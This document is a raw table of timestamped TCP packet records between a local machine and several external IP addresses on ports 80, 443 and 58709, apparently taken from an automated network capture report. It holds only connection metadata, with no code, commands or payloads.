Apr 13, 2024 20:21:54.786235094 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.796463966 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:54.797024012 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.797120094 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.840904951 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:54.888590097 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:54.906765938 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.907121897 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:55.183525085 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:55.231561899 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:55.248934984 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:55.252257109 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:55.252368927 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:55.252455950 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:55.252533913 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:56.559945107 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:56.606498003 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.642832041 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:56.657756090 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:56.684746027 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.700263023 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.814191103 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:56.856630087 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.960124969 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:56.997831106 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.997896910 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:56.998065948 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:57.177700996 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:57.189655066 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.189688921 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.189759970 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.190663099 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.190680981 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.216121912 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:57.305490971 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:57.306005001 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:57.306252003 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:57.307815075 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:57.370909929 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:57.370946884 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:57.370982885 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:57.517889023 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.518016100 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.521545887 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.521555901 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.521949053 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.574249029 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:57.575342894 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.578872919 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.624238968 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.649938107 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:57.658221960 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:57.658328056 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:57.764601946 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:57.765402079 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:57.873157978 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.873501062 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.873662949 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.873691082 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.873711109 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.873725891 CEST	49788	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:57.873733044 CEST	443	49788	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:57.877453089 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:57.877523899 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:57.877599955 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:57.877851009 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:57.877872944 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.105365038 CEST	80	49787	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.105439901 CEST	49787	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.109098911 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.109180927 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.109328032 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.205238104 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.205322027 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.206500053 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.206521034 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.207092047 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.210597992 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.252235889 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.459223032 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.460324049 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.460540056 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.461508989 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.698962927 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.699220896 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:58.699409962 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.699409962 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.699409962 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:58.699851036 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:58.805494070 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.811284065 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:58.811357021 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.922671080 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:58.923104048 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.012752056 CEST	49790	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:59.012808084 CEST	443	49790	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:59.058917999 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:59.265526056 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.266166925 CEST	80	49789	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.266280890 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.266283989 CEST	49789	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.266448021 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.481004953 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:59.528556108 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:59.608731031 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.609044075 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.609256029 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.609715939 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:59.664089918 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:59.715867996 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:59.902631998 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:59.902713060 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:59.903928041 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:59.904828072 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:59.904905081 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:59.952121973 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.958959103 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:59.959140062 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.013005018 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:00.013072014 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:00.013108969 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:00.013186932 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:00.060336113 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.060920000 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.226140022 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.226257086 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.227504969 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.227533102 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.228049040 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.268711090 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.316231966 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.371042013 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:00.371160984 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:00.386812925 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:00.386831045 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:00.403273106 CEST	80	49791	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:00.403426886 CEST	49791	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.403834105 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:00.403928041 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.404638052 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.588402033 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.588704109 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.588954926 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.589243889 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.589288950 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.589319944 CEST	49792	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:22:00.589335918 CEST	443	49792	34.117.186.192	192.168.2.4
Apr 13, 2024 20:22:00.591947079 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.591979980 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:00.592044115 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.592340946 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.592356920 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:00.747189999 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:00.747699976 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:00.747797012 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.749814034 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:00.918087959 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:00.918154955 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.920890093 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.920897961 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:00.921291113 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:00.922908068 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:00.964236975 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:01.092777967 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:01.097655058 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:01.097871065 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:01.200885057 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:01.201086998 CEST	49795	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:01.415163994 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:01.415400982 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:01.415494919 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:01.415560961 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:01.415575027 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:01.415584087 CEST	49794	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:22:01.415589094 CEST	443	49794	172.67.75.166	192.168.2.4
Apr 13, 2024 20:22:01.415843010 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:01.543049097 CEST	80	49795	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:01.543160915 CEST	49795	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:01.543684959 CEST	80	49793	193.233.132.56	192.168.2.4
Apr 13, 2024 20:22:01.543756008 CEST	49793	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:22:01.777206898 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.125467062 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.168987989 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.207343102 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207370043 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207387924 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207406044 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207425117 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207428932 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.207446098 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207465887 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207484007 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.207484961 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207504034 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207504034 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.207521915 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.207535982 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.207573891 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.222312927 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222332954 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222351074 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222368002 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222384930 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222413063 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.222413063 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.222554922 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222616911 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.222642899 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222659111 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222676039 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222692013 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.222703934 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.222733021 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.377327919 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377368927 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377388954 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377407074 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377418995 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.377428055 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377445936 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377459049 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.377464056 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377484083 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377485037 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.377509117 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377525091 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.377532959 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.377568960 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.527239084 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.527333975 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.527355909 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.527381897 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.527399063 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.527399063 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.527472973 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.544606924 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.544629097 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.544702053 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.544735909 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.544759035 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.544835091 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.545013905 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.575232029 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.674577951 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674676895 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674696922 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674714088 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674732924 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674736023 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.674750090 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674757957 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.674767971 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674787045 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674794912 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.674804926 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674822092 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.674825907 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.675770044 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.695187092 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.695219994 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.695238113 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.695255041 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.695272923 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.695337057 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.695337057 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.747103930 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.992151022 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.992176056 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.992194891 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.992212057 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.992222071 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:02.992239952 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:02.992263079 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:03.044094086 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:04.169238091 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:04.215876102 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:04.404545069 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:04.450303078 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.340909958 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.419054031 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.450402975 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.450442076 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.465883017 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.481498003 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:05.715245962 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.793328047 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.808891058 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.808923006 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.824414015 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.839906931 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:05.883841991 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.226633072 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.226756096 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.226834059 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.569994926 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570059061 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570100069 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570162058 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570204973 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570242882 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570281029 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570285082 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570285082 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570318937 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570357084 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570357084 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570357084 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570384026 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570394993 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570405006 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570434093 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.570456028 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.570492983 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914681911 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914741039 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914778948 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914818048 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914855003 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914891958 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914897919 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914899111 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914899111 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914899111 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914899111 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.914932013 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914969921 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.914983988 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915008068 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915044069 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915064096 CEST	49797	80	192.168.2.4	193.233.132.167
